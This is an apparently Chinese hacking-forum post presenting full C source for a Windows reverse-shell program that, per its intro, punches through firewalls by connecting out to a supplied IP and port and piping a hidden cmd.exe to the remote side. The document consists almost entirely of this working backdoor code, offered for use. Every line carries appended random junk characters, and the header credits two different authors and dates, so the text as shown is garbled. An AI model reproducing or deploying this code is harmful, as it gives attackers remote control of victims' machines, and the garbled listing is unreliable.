这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 aEn*vun
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/* ============================== WXd#`f %
Rebound port in Windows NT vDCbD#.6
By wind,2006/7 DWupLJpk;c
===============================*/ uLr-!T
#include %J+k.UrM
#include 7ea%mg\
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#pragma comment(lib,"wsock32.lib") XwDt8TxL
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void OutputShell(); L'O=;C"f
SOCKET sClient; x\ 8gb#8
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; u3\_![Jt?
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void main(int argc,char **argv) C:z7R" yj
{ )i[K1$x2
WSADATA stWsaData; 3j2d&*0
int nRet; \qJ cs'D
SOCKADDR_IN stSaiClient,stSaiServer; #r QT)n
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if(argc != 3) |8fdhqy_
{ 0s6eF+bs
printf("Useage:\n\rRebound DestIP DestPort\n"); 7pM&))R
return; h9QQ8}g
} ,{d=<j_
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WSAStartup(MAKEWORD(2,2),&stWsaData); 7-mo\jw<
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d>wG6Z, |
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stSaiClient.sin_family = AF_INET; n<Ki.;-ZE
stSaiClient.sin_port = htons(0); 4KY@y?H g
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); (I;lE*>
pp()Hu3J
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) T#a6X;9P
{ *_"lXcG.
printf("Bind Socket Failed!\n"); 7e
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return; GK&R.R]
} 4"eeEs h
EGjzjuJu{
stSaiServer.sin_family = AF_INET; :<uCi\9(
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Qm4cuV-0{
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Tj=@5lj0
n6{nx[%7N7
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *}Rd%'
{
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printf("Connect Error!"); c+jnQM'
return; y2Vc[o(NP
} A/.z. K
OutputShell(); ~e=KBYDBu
} soqnr"
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void OutputShell() LP) IL~
{ q,]57s
char szBuff[1024]; 29NP!W
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SECURITY_ATTRIBUTES stSecurityAttributes; Nrc-@ ]
OSVERSIONINFO stOsversionInfo; r]&&*:
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; E#n:d9WA:
STARTUPINFO stStartupInfo; u HXb=U
char *szShell; ]o`FF="at
PROCESS_INFORMATION stProcessInformation; )T@+"Pw8t
unsigned long lBytesRead; M B,Z4 ^
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); /_r{7Gq.
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); kaV Ye)~
stSecurityAttributes.lpSecurityDescriptor = 0; K555z+,'e
stSecurityAttributes.bInheritHandle = TRUE; +N!/>w]n
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); QM'>)!8
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); E5$uvxCI
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (ce"ED`1
stStartupInfo.wShowWindow = SW_HIDE; w4Ku1G#jC
stStartupInfo.hStdInput = hReadPipe; G[!<mh4h|
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; RueL~$*6.~
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GetVersionEx(&stOsversionInfo); NjSjE_S2B8
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switch(stOsversionInfo.dwPlatformId) jce2lXMm
{ r-o6I:y
case 1: 8C2!Wwz`J8
szShell = "command.com"; ooT~R2u
break; n:YA4t7S
default: t8-LPq
szShell = "cmd.exe"; @fSqGsSk
break; 9wv 7HD|
} i%9xt1c_
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); vC5y]1QDd
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send(sClient,szMsg,77,0); |HK/*B
while(1) ^v@&
q
{ u1(8a%ZC
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )"<:Md$7
if(lBytesRead) S|ADu]H(
{ g
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); !6d`e"\K
send(sClient,szBuff,lBytesRead,0);
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} h:'wtn@l(
else k'+Mc%pg4E
{ X !l#1
lBytesRead=recv(sClient,szBuff,1024,0); 6w^Fee`>]
if(lBytesRead<=0) break; W>`#`u
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (Y]G6>
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} b
`.h+=3
} KR/SMwy
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return; $9O%,U@
}